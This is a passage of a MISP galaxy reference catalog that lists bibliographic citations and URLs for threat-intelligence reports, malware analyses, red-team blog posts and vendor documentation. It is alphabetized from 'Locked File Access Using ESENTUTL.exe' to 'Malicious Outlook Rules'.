Cary, M. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019.

The tag is: *misp-galaxy:references="Cary Esentutl"*

Table 21606. Table References

Links
https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/

Group IB Ransomware September 2020

Group IB. (2020, September). LOCK LIKE A PRO. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Group IB Ransomware September 2020"*

Table 21607. Table References

Links
https://web.archive.org/web/20220119114433/https://groupib.pathfactory.com/ransomware-reports/prolock_wp

AWS Cloud Trail Backup API

Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.

The tag is: *misp-galaxy:references="AWS Cloud Trail Backup API"*

Table 21608. Table References

Links
https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html

AWS Logging IAM Calls

AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="AWS Logging IAM Calls"*

Table 21609. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html

Login Items AE

Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="Login Items AE"*

Table 21610. Table References

Links
https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788

LoginWindowScripts Apple Dev

Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="LoginWindowScripts Apple Dev"*

Table 21611. Table References

Links
https://developer.apple.com/documentation/devicemanagement/loginwindowscripts

LogMeIn Homepage

LogMeIn. (n.d.). LogMeIn Homepage. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="LogMeIn Homepage"*

Table 21612. Table References

Links
https://www.logmein.com/

LogonUserW function

Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.

The tag is: *misp-galaxy:references="LogonUserW function"*

Table 21613. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw

Logpoint Ransomware Detection Guide

Logpoint. (2023, October 24). Logpoint - A Comprehensive Guide to Detect Ransomware. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Logpoint Ransomware Detection Guide"*

Table 21614. Table References

Links
https://www.logpoint.com/wp-content/uploads/2023/04/logpoint-a-comprehensive-guide-to-detect-ransomware.pdf

ESET LoJax Sept 2018

ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.

The tag is: *misp-galaxy:references="ESET LoJax Sept 2018"*

Table 21615. Table References

Links

https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf

Morphisec Lokibot April 2020

Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020.

The tag is: *misp-galaxy:references="Morphisec Lokibot April 2020"*

Table 21616. Table References

Links
https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode

t1105_lolbas

LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.

The tag is: *misp-galaxy:references="t1105_lolbas"*

Table 21617. Table References

Links
https://lolbas-project.github.io/#t1105

Lolbin Ssh.exe Use As Proxy

frack113, Nasreddine Bencherchali. (2023, January 26). Lolbin Ssh.exe Use As Proxy. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="Lolbin Ssh.exe Use As Proxy"*

Table 21618. Table References

Links
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml

Huntress INC Ransomware May 2024

Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="Huntress INC Ransomware May 2024"*

Table 21619. Table References

Links
https://www.huntress.com/blog/lolbin-to-inc-ransomware

Qualys LolZarus

Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.

The tag is: *misp-galaxy:references="Qualys LolZarus"*

Table 21620. Table References

Links
https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns

Bitdefender Trickbot C2 infra Nov 2020

Liviu Arsene, Radu Tudorica. (2020, November 23). TrickBot is Dead. Long Live TrickBot!. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Bitdefender Trickbot C2 infra Nov 2020"*

Table 21621. Table References

Links
https://www.bitdefender.com/blog/labs/trickbot-is-dead-long-live-trickbot/

Proofpoint LookBack Malware Aug 2019

Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021.

The tag is: *misp-galaxy:references="Proofpoint LookBack Malware Aug 2019"*

Table 21622. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks

Sans Mutexes 2012

Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Sans Mutexes 2012"*

Table 21623. Table References

Links

https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/

Fidelis DarkComet

Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.

The tag is: *misp-galaxy:references="Fidelis DarkComet"*

Table 21624. Table References

Links
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf

Microsoft Sliver 2022

Microsoft Security Experts. (2022, August 24). Looking for the 'Sliver' lining: Hunting for emerging command-and-control frameworks. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Microsoft Sliver 2022"*

Table 21625. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/

Arctic Wolf Fog Ransomware June 4 2024

Stefan Hostetler, Steven Campbell, Christopher Prest, Connor Belfiore, Markus Neis, Joe Wedderspoon, Rick McQuown, Arctic Wolf Labs Team. (2024, June 4). Lost in the Fog: A New Ransomware Threat. Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="Arctic Wolf Fog Ransomware June 4 2024"*

Table 21626. Table References

Links
https://arcticwolf.com/resources/blog/lost-in-the-fog-a-new-ransomware-threat/

BlackHat Process Doppelgänging Dec 2017

Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="BlackHat Process Doppelgänging Dec 2017"*

Table 21627. Table References

Links
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

Cisco LotusBlossom 2025

Joey Chen, Cisco Talos. (2025, February 27). Lotus Blossom espionage group targets multiple industries with different versions of Sagerunex and hacking tools. Retrieved March 15, 2025.

The tag is: *misp-galaxy:references="Cisco LotusBlossom 2025"*

Table 21628. Table References

Links
https://blog.talosintelligence.com/lotus-blossom-espionage-group/

ESET LoudMiner June 2019

Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.

The tag is: *misp-galaxy:references="ESET LoudMiner June 2019"*

Table 21629. Table References

Links
https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/

GitHub Mimikatz Issue 92 June 2017

Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="GitHub Mimikatz Issue 92 June 2017"*

Table 21630. Table References

Links
https://github.com/gentilkiwi/mimikatz/issues/92

Deep Instinct LSASS

Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.

The tag is: *misp-galaxy:references="Deep Instinct LSASS"*

Table 21631. Table References

Links
https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2

lsmod man

Kerrisk, M. (2022, December 18). lsmod(8) — Linux manual page. Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="lsmod man"*

Table 21632. Table References

Links
https://man7.org/linux/man-pages/man8/lsmod.8.html

Lua state

Lua. (n.d.). lua_State. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Lua state"*

Table 21633. Table References

Links
https://pgl.yoyo.org/luai/i/lua_State

Unit 42 Lucifer June 2020

Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.

The tag is: *misp-galaxy:references="Unit 42 Lucifer June 2020"*

Table 21634. Table References

Links
https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/

Securelist LuckyMouse June 2018

Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.

The tag is: *misp-galaxy:references="Securelist LuckyMouse June 2018"*

Table 21635. Table References

Links

https://securelist.com/luckymouse-hits-national-data-center/86083/

lucr-3: Getting SaaS-y in the cloud

Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting SaaS-y In The Cloud. Retrieved September 20, 2023.

The tag is: *misp-galaxy:references="lucr-3: Getting SaaS-y in the cloud"*

Table 21636. Table References

Links
https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud

Permiso Scattered Spider 2023

Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.

The tag is: *misp-galaxy:references="Permiso Scattered Spider 2023"*

Table 21637. Table References

Links
https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud

Kaspersky LuminousMoth July 2021

Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.

The tag is: *misp-galaxy:references="Kaspersky LuminousMoth July 2021"*

Table 21638. Table References

Links
https://securelist.com/apt-luminousmoth/103332/

Bitdefender LuminousMoth July 2021

Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.

The tag is: *misp-galaxy:references="Bitdefender LuminousMoth July 2021"*

Table 21639. Table References

Links

https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited

SpyCloud Inc December 19 2024

James. (2024, December 19). LummaC2 Revisited What's Making this Stealer Stealthier and More Lethal. Retrieved December 20, 2024.

The tag is: *misp-galaxy:references="SpyCloud Inc December 19 2024"*

Table 21640. Table References

Links
https://spycloud.com/blog/lummac2-malware-stealthier-capabilities/

Netskope January 23 2025

Leandro Fróes. (2025, January 23). Lumma Stealer Fake CAPTCHAs & New Techniques to Evade Detection. Retrieved February 2, 2025.

The tag is: *misp-galaxy:references="Netskope January 23 2025"*

Table 21641. Table References

Links
https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection

Netskope LummaStealer 2025

Leandro Fróes, Netskope. (2025, January 23). Lumma Stealer: Fake CAPTCHAs & New Techniques to Evade Detection. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Netskope LummaStealer 2025"*

Table 21642. Table References

Links
https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection

TrendMicro LummaStealer 2025

Buddy Tancio, Fe Cureg, and Jovit Samaniego, Trend Micro. (2025, January 30). Lumma Stealer's GitHub-Based Delivery Explored via Managed Detection and Response. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="TrendMicro LummaStealer 2025"*

Table 21643. Table References

Links
https://www.trendmicro.com/en_us/research/25/a/lumma-stealers-github-based-delivery-via-mdr.html

Unit42 Luna Moth

Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.

The tag is: *misp-galaxy:references="Unit42 Luna Moth"*

Table 21644. Table References

Links
https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/

sygnia Luna Month

Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.

The tag is: *misp-galaxy:references="sygnia Luna Month"*

Table 21645. Table References

Links
https://blog.sygnia.co/luna-moth-false-subscription-scams

Sygnia Luna Moth July 1 2022

Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (2022, July 1). Luna Moth Ransomware: The Threat Actors Behind Recent False Subscription Scams. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="Sygnia Luna Moth July 1 2022"*

Table 21646. Table References

Links
https://www.sygnia.co/blog/luna-moth-false-subscription-scams/

Zscaler Lyceum DnsSystem June 2022

Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022.

The tag is: *misp-galaxy:references="Zscaler Lyceum DnsSystem June 2022"*

Table 21647. Table References

Links
https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor

Kaspersky Lyceum October 2021

Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.

The tag is: *misp-galaxy:references="Kaspersky Lyceum October 2021"*

Table 21648. Table References

Links
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf

CoinTicker 2019

Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="CoinTicker 2019"*

Table 21649. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/

ESET Machete July 2019

ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.

The tag is: *misp-galaxy:references="ESET Machete July 2019"*

Table 21650. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

Trend Micro March 30 2023

Qi Sun; Luis Magisa Read time. (2023, March 30). Mac Malware MacStealer Spreads as Fake P2E Apps. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Trend Micro March 30 2023"*

Table 21651. Table References

Links
https://www.trendmicro.com/en_us/research/23/c/mac-malware-macstealer-spreads-as-fake-p2-e-apps.html

synack 2016 review

Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.

The tag is: *misp-galaxy:references="synack 2016 review"*

Table 21652. Table References

Links
https://objective-see.org/blog/blog_0x16.html

objsee mac malware 2017

Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.

The tag is: *misp-galaxy:references="objsee mac malware 2017"*

Table 21653. Table References

Links
https://objective-see.com/blog/blog_0x25.html

Unit 42 Mac Crypto Cookies January 2019

Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges' Cookies. Retrieved October 14, 2019.

The tag is: *misp-galaxy:references="Unit 42 Mac Crypto Cookies January 2019"*

Table 21654. Table References

Links
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/

Unit42 CookieMiner Jan 2019

Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges' Cookies. Retrieved July 22, 2020.

The tag is: *misp-galaxy:references="Unit42 CookieMiner Jan 2019"*

Table 21655. Table References

Links

https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/

MacKeeper Bundlore Apr 2019

Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020.

The tag is: *misp-galaxy:references="MacKeeper Bundlore Apr 2019"*

Table 21656. Table References

Links
https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/

SentinelOne Cuckoo Stealer May 2024

Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.

The tag is: *misp-galaxy:references="SentinelOne Cuckoo Stealer May 2024"*

Table 21657. Table References

Links
https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/

MalwareUnicorn macOS Dylib Injection MachO

Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="MalwareUnicorn macOS Dylib Injection MachO"*

Table 21658. Table References

Links
https://malwareunicorn.org/workshops/macos_dylib_injection.html#5

macOS Hierarchical File System Overview

Tenon. (n.d.). Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="macOS Hierarchical File System Overview"*

Table 21659. Table References

Links
http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553

Add List Remove Login Items Apple Script

kalopromnat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="Add List Remove Login Items Apple Script"*

Table 21660. Table References

Links
https://gist.github.com/kalopromnat/6111584

SentinelOne 9 11 2023

Phil Stokes. (2023, September 11). macOS MetaStealer . Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="SentinelOne 9 11 2023"*

Table 21661. Table References

Links
https://www.sentinelone.com/blog/macos-metastealer-new-family-of-obfuscated-go-infostealers-spread-in-targeted-attacks/

macOS MS office sandbox escape

Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.

The tag is: *misp-galaxy:references="macOS MS office sandbox escape"*

Table 21662. Table References

Links
https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a

MDSec macOS JXA and VSCode

Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.

The tag is: *misp-galaxy:references="MDSec macOS JXA and VSCode"*

Table 21663. Table References

Links
https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/

SentinelOne macOS Red Team

Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.

The tag is: *misp-galaxy:references="SentinelOne macOS Red Team"*

Table 21664. Table References

Links
https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/

Lockboxx ARD 2019

Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.

The tag is: *misp-galaxy:references="Lockboxx ARD 2019"*

Table 21665. Table References

Links
http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html

nixCraft macOS PATH variables

Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023.

The tag is: *misp-galaxy:references="nixCraft macOS PATH variables"*

Table 21666. Table References

Links
https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/

SensePost MacroLess DDE Oct 2017

Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="SensePost MacroLess DDE Oct 2017"*

Table 21667. Table References

Links
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Macro Malware Targets Macs

Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.

The tag is: *misp-galaxy:references="Macro Malware Targets Macs"*

Table 21668. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/

alientvault macspy

PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.

The tag is: *misp-galaxy:references="alientvault macspy"*

Table 21669. Table References

Links
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service

reed thiefquest ransomware analysis

Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021.

The tag is: *misp-galaxy:references="reed thiefquest ransomware analysis"*

Table 21670. Table References

Links
https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/

Reed thiefquest fake ransom

Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021.

The tag is: *misp-galaxy:references="Reed thiefquest fake ransom"*

Table 21671. Table References

Links
https://blog.malwarebytes.com/detections/osx-thiefquest/

Malwarebytes 9 6 2023

Jerome Segura. (2023, September 6). Mac users targeted in new malvertising campaign delivering Atomic Stealer. Retrieved April 19, 2024.

The tag is: *misp-galaxy:references="Malwarebytes 9 6 2023"*

Table 21672. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2023/09/atomic-macos-stealer-delivered-via-malvertising

Objective See Green Lambert for OSX Oct 2021

Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022.

The tag is: *misp-galaxy:references="Objective See Green Lambert for OSX Oct 2021"*

Table 21673. Table References

Links
https://objective-see.com/blog/blog_0x68.html

Trend Micro FIN6 October 2019

Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020.

The tag is: *misp-galaxy:references="Trend Micro FIN6 October 2019"*

Table 21674. Table References

Links
https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html

Unit 42 Magic Hound Feb 2017

Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.

The tag is: *misp-galaxy:references="Unit 42 Magic Hound Feb 2017"*

Table 21675. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

AMD Magic Packet

AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.

The tag is: *misp-galaxy:references="AMD Magic Packet"*

Table 21676. Table References

Links
https://www.amd.com/system/files/TechDocs/20213.pdf

Cisco MagicRAT 2022

Asheer Malhotra, Vitor Ventura & Jungsoo An, Cisco Talos. (2022, September 7). MagicRAT: Lazarus' latest gateway into victim networks. Retrieved December 30, 2024.

The tag is: *misp-galaxy:references="Cisco MagicRAT 2022"*

Table 21677. Table References

Links
https://blog.talosintelligence.com/lazarus-magicrat/

MagicWeb

Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM's post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="MagicWeb"*

Table 21678. Table References

Links
https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/

MAGNET GOBLIN

Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024.

The tag is: *misp-galaxy:references="MAGNET GOBLIN"*

Table 21679. Table References

Links
https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/

FireEye FIN7 Oct 2019

Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators' New Tools and Techniques. Retrieved October 11, 2019.

The tag is: *misp-galaxy:references="FireEye FIN7 Oct 2019"*

Table 21680. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

Microsoft Mail Flow Rules 2023

Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="Microsoft Mail Flow Rules 2023"*

Table 21681. Table References

Links
https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules

GitHub MailSniper

Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="GitHub MailSniper"*

Table 21682. Table References

Links
https://github.com/dafthack/MailSniper

mailx man page

Michael Kerrisk. (2021, August 27). mailx(1p) — Linux manual page. Retrieved June 10, 2022.

The tag is: *misp-galaxy:references="mailx man page"*

Table 21683. Table References

Links
https://man7.org/linux/man-pages/man1/mailx.1p.html

enigma0x3 normal.dotm

Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="enigma0x3 normal.dotm"*

Table 21684. Table References

Links
https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/

NetSPI Startup Stored Procedures

Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="NetSPI Startup Stored Procedures"*

Table 21685. Table References

Links
https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/

Push Security SaaS Persistence 2022

Luke Jennings. (2022, November 29). Maintaining persistent access in a SaaS-first world. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Push Security SaaS Persistence 2022"*

Table 21686. Table References

Links
https://pushsecurity.com/blog/maintaining-persistent-access-in-a-saas-first-world/

QR-cofense

Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="QR-cofense"*

Table 21687. Table References

Links
https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/

Cofense-redirect

Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.

The tag is: *misp-galaxy:references="Cofense-redirect"*

Table 21688. Table References

Links
https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/

Makecab.exe - LOLBAS Project

LOLBAS. (2018, May 25). Makecab.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Makecab.exe - LOLBAS Project"*

Table 21689. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Makecab/

Infoblox Lokibot January 2019

Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020.

The tag is: *misp-galaxy:references="Infoblox Lokibot January 2019"*

Table 21690. Table References

Links
https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence—22

U.S. CISA PaperCut May 2023

Cybersecurity and Infrastructure Security Agency. (2023, May 11). Malicious Actors Exploit CVE-2023-27350 in PaperCut MF and NG. Retrieved May 17, 2023.

The tag is: *misp-galaxy:references="U.S. CISA PaperCut May 2023"*

Table 21691. Table References

Links

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a

Synes Cyber Corner Malicious Azure Application 2023

syne0. (2023, July 10). Malicious Azure Application PERFECTDATA SOFTWARE and Microsoft 365 Business Email Compromise. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Synes Cyber Corner Malicious Azure Application 2023"*

Table 21692. Table References

Links
https://cybercorner.tech/malicious-azure-application-perfectdata-software-and-office365-business-email-compromise/

GoBotKR

Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor-laced torrents. Retrieved March 31, 2022.

The tag is: *misp-galaxy:references="GoBotKR"*

Table 21693. Table References

Links
https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/

ICEBRG Chrome Extensions

De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.

The tag is: *misp-galaxy:references="ICEBRG Chrome Extensions"*

Table 21694. Table References

Links
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses

McAfee Malicious Doc Targets Pyeongchang Olympics

Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.

The tag is: *misp-galaxy:references="McAfee Malicious Doc Targets Pyeongchang Olympics"*

Table 21695. Table References

Links
https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/

Fortinet Fareit

Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.

The tag is: *misp-galaxy:references="Fortinet Fareit"*

Table 21696. Table References

Links
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware

Microsoft Malicious OAuth Applications 2022

Microsoft Threat Intelligence. (2022, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Microsoft Malicious OAuth Applications 2022"*

Table 21697. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-OAuth-applications-used-to-compromise-email-servers-and-spread-spam/

Microsoft OAuth Spam 2022

Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="Microsoft OAuth Spam 2022"*

Table 21698. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/

Zscaler Kasidet

Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.

The tag is: *misp-galaxy:references="Zscaler Kasidet"*

Table 21699. Table References

Links
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html

SilentBreak Outlook Rules

Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.

The tag is: *misp-galaxy:references="SilentBreak Outlook Rules"*

Table 21700. Table References

Links
https://silentbreaksecurity.com/malicious-outlook-rules/

Webroot PHP 2011

